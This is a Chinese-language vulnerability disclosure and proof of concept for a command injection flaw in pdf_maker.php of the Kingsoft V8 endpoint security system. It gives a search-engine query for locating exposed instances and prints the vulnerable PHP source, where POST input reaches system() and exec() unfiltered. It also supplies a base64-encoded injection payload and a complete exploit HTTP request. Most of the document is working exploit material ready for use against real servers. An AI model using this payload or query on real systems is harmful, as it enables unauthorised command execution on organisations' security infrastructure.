金山 V8 终端安全系统 pdf_maker.php 命令执行漏洞

漏洞描述

金山 V8 终端安全系统 pdf_maker.php 存在命令执行漏洞，由于没有过滤危险字符，导致构造特殊字符即可进行命令拼接执行任意命令。

漏洞影响

金山 V8 终端安全系统

网络测绘

app=”猎鹰安全-金山V8+终端安全系统”

漏洞复现

存在漏洞的文件为

Kingsoft\Security Manager\SystemCenter\Console\inter\pdf_maker.php

<?php
require_once (dirname(__FILE__)."\\common\\HTTPrequest_SCpost.php");
/*
{
   "kptl" :
{
"set_exportpdf_cmd" :
    {
    "url" : "http://xxx.xxx.xxx.xxx/report/system/main.php?userSession=5784727B-7AEA-4EFE-B0CB-DDD6DA1CABD3&guid=1AC380D9-                580C-49A8-B6EC-787CF50FA928&VHierarchyID=ADMIN",
    "fileName":"test.pdf"
    }
}
*/
	
	
	//$post = file_get_contents("php://input");
	
	/*
	$post = array("kptl"=>
			array("set_exportpdf_cmd"=>array(
				"url"=>"http://xxx.xxx.xxx.xxx/report/system/main.php?userSession=5784727B-7AEA-4EFE-B0CB-DDD6DA1CABD3&guid=1AC380D9-580C-49A8-B6EC-787CF50FA928&VHierarchyID=ADMIN",
				"fileName"=>"test1234.pdf"
				)
			));
			*/
			
	
			
	
	

	$url = $_POST["url"];
	$fileName =  $_POST["fileName"];
	$batName=$fileName;
	if ($url == null || $fileName == null)
	{
		$return["nResult"] = __LINE__;
		echo json_encode($return,JSON_UNESCAPED_UNICODE);
		return ;
	}
	
	$url = base64_decode($url);
	$nameStr = base64_decode($fileName).date("Y-m-d").".pdf";
	$fileName="..\\htmltopdf\\".$nameStr;

	system('mkdir ..\\htmltopdf');

	
	$cmd = '..\\..\\wkhtmltopdf.exe "'.$url.'" '.$fileName;
	if (getApacheVersion()>=24) { //apache 2.4 php 7 版本 只能在  bat中运行
		$cmd =" del ".$fileName;

		exec($cmd);
		$url_= str_replace('%','%%', $url);
		$cmd = '..\\..\\wkhtmltopdf.exe "'.$url_.'" '.$fileName;
		$batName ="exec_wkhtmltopdf.bat";
		$myfile = fopen($batName , "w");
		//$cmd =iconv("UTF-8", "gbk", $cmd );
		fwrite($myfile, $cmd);
		fclose($myfile);
		$cmd =$batName ;
		exec($cmd);
		$cmd =" del ".$batName;
		exec($cmd);
    }else
    {
	system($cmd);
    }
	// echo $url;
	$return = array("nResult" => "0","fileName" =>$nameStr,"url"=>$url);
	echo json_encode($return,JSON_UNESCAPED_UNICODE);
	
?>

这里传入 base64加密的拼接命令即可执行任意命令

"|| ipconfig || --base64--> url=IiB8fCBpcGNvbmZpZyB8fA==&fileName=xxx

POST /inter/pdf_maker.php HTTP/1.1
Host: 
Content-Length: 45
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=noei1ghcv9rqgp58jf79991n04

url=IiB8fCBpcGNvbmZpZyB8fA%3D%3D&fileName=xxx